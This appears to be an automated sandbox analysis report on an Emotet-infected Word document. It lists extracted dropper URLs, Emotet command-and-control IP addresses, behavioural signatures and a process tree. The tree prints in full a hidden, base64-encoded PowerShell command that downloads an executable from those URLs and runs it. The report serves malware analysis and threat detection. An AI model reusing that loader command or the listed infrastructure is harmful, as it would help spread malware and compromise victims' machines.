Analysis

  • max time kernel
    130s
  • resource
    win10v191014
  • submitted
    09-12-2019 21:55

General

  • Target

    Docs_bb7395a685cc5b362335f533fc6f058e.24.doc

  • Sample

    191209-5wt8yrtkd2

  • SHA256

    f93960eeb1c885d2b561ecaf9b4db5009bbf79a9e9693c7f279a46c3f5ad42df

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://mgn.becksworld.org/cgi-bin/qou-ctdaa-783206946/

exe.dropper

http://glojef.hwtnetworks.com/cgi-bin/kewbuqy-7d9-286/

exe.dropper

http://psikologimarketing.com/eikhx/QBMWeUC/

exe.dropper

http://demo.woo-wa.com/wp-content/crDSizyuW/

exe.dropper

http://www.icbasiglio.gov.it/wpgo/w7mfnu8-wk673a-9668696/

Extracted

Family

emotet

C2

24.27.122.202:80

67.171.182.231:80

190.171.135.235:80

103.9.145.19:8080

46.105.128.215:8080

172.105.213.30:80

69.30.205.162:7080

115.179.91.58:80

181.44.166.242:80

78.46.87.133:8080

81.213.145.45:443

83.156.88.159:80

210.111.160.220:80

195.191.107.67:80

192.241.220.183:8080

1.32.54.12:8080

192.161.190.171:8080

190.189.79.73:80

122.11.164.183:80

41.77.74.214:443

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_bb7395a685cc5b362335f533fc6f058e.24.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    PID:4992
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:68
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:2212
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABYAGwAbwBlAGEAYQB3AGkAdwA9ACcASwB3AGMAZgBoAHkAegB0AG0AZgAnADsAJABSAGsAYwB6AGMAdQBiAGkAcgBqACAAPQAgACcANQA2ADUAJwA7ACQATwBxAHoAeABjAGsAbwB4AGwAPQAnAFAAYgBxAHQAZABiAHEAcQBiAGEAJwA7ACQARABsAGcAYQBwAHUAdABlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIAawBjAHoAYwB1AGIAaQByAGoAKwAnAC4AZQB4AGUAJwA7ACQAQQBvAHQAagBzAHEAZwBiAD0AJwBJAHAAagBiAHoAZgBtAGIAbgB6ACcAOwAkAEMAbQB6AGQAZgB2AHAAZABvAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcARQBCAGMATABpAEUATgBUADsAJABXAHIAbgBoAGkAZwB4AHQAcwB5AGsAPQAnAGgAdAB0AHAAOgAvAC8AbQBnAG4ALgBiAGUAYwBrAHMAdwBvAHIAbABkAC4AbwByAGcALwBjAGcAaQAtAGIAaQBuAC8AcQBvAHUALQBjAHQAZABhAGEALQA3ADgAMwAyADAANgA5ADQANgAvACoAaAB0AHQAcAA6AC8ALwBnAGwAbwBqAGUAZgAuAGgAdwB0AG4AZQB0AHcAbwByAGsAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGsAZQB3AGIAdQBxAHkALQA3AGQAOQAtADIAOAA2AC8AKgBoAHQAdABwADoALwAvAHAAcwBpAGsAbwBsAG8AZwBpAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwBlAGkAawBoAHgALwBRAEIATQBXAGUAVQBDAC8AKgBoAHQAdABwADoALwAvAGQAZQBtAG8ALgB3AG8AbwAtAHcAYQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGMAcgBEAFMAaQB6AHkAdQBXAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AaQBjAGIAYQBzAGkAZwBsAGkAbwAuAGcAbwB2AC4AaQB0AC8AdwBwAGcAbwAvAHcANwBtAGYAbgB1ADgALQB3AGsANgA3ADMAYQAtADkANgA2ADgANgA5ADYALwAnAC4AIgBzAFAAbABgAGkAVAAiACgAJwAqACcAKQA7ACQAUABnAGkAZwBwAGsAbwB5AGEAZwB4AG4APQAnAEoAYQB3AGcAZgBjAHoAZgB0AGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFMAcQBxAHAAYwByAGUAdAAgAGkAbgAgACQAVwByAG4AaABpAGcAeAB0AHMAeQBrACkAewB0AHIAeQB7ACQAQwBtAHoAZABmAHYAcABkAG8ALgAiAEQAYABPAHcAYABOAGAATABPAGEARABGAGkAbABlACIAKAAkAFMAcQBxAHAAYwByAGUAdAAsACAAJABEAGwAZwBhAHAAdQB0AGUAeQApADsAJABCAGwAZAB6AG0AcwBsAGgAPQAnAEIAbQBhAHYAbgBrAGoAYgBzAHcAYgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEQAbABnAGEAcAB1AHQAZQB5ACkALgAiAEwAYABFAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADIANgA5ADUAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGEAYABSAFQAIgAoACQARABsAGcAYQBwAHUAdABlAHkAKQA7ACQARgBnAHUAcAB0AGsAbQBoAHcAbgA9ACcAVQBhAHQAZQBjAHIAagB3ACcAOwBiAHIAZQBhAGsAOwAkAEcAagBwAG8AdgByAGgAbgBhAGwAPQAnAFQAZwB5AHYAbgBvAGEAdABwAG4AbQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAbwB0AGsAZwB6AGwAdgB6AGsAPQAnAE8AdgBhAGkAbQB4AG8AYwBoACcA
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      PID:4740
      • C:\Users\Admin\565.exe
        "C:\Users\Admin\565.exe"
        2⤵
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        PID:4332
        • C:\Users\Admin\565.exe
          --1fe51a92
          3⤵
          • Suspicious use of SetWindowsHookEx
          • Drops file in System32 directory
          • Executes dropped EXE
          • Suspicious behavior: EmotetMutantsSpam
          PID:4196
    • C:\Windows\SysWOW64\methodstextto.exe
      "C:\Windows\SysWOW64\methodstextto.exe"
      1⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:4324
      • C:\Windows\SysWOW64\methodstextto.exe
        --24eb9e70
        2⤵
        • Suspicious use of SetWindowsHookEx
        • Suspicious behavior: EnumeratesProcesses
        • Drops file in System32 directory
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:3980
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
      • Drops file in Windows directory
      PID:4232
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
      1⤵
        PID:2336
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
        1⤵
          PID:4636
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k unistacksvcgroup
          1⤵
            PID:3608
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
            1⤵
              PID:444

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\565.exe

            • C:\Users\Admin\565.exe

            • C:\Users\Admin\565.exe

            • C:\Windows\SysWOW64\methodstextto.exe

            • C:\Windows\SysWOW64\methodstextto.exe

            • memory/3980-16-0x0000000000400000-0x0000000000455000-memory.dmp

              Filesize

              340KB

            • memory/4196-10-0x0000000002040000-0x0000000002057000-memory.dmp

              Filesize

              92KB

            • memory/4196-11-0x0000000000400000-0x0000000000455000-memory.dmp

              Filesize

              340KB

            • memory/4324-13-0x0000000000CE0000-0x0000000000CF7000-memory.dmp

              Filesize

              92KB

            • memory/4332-8-0x0000000002260000-0x0000000002277000-memory.dmp

              Filesize

              92KB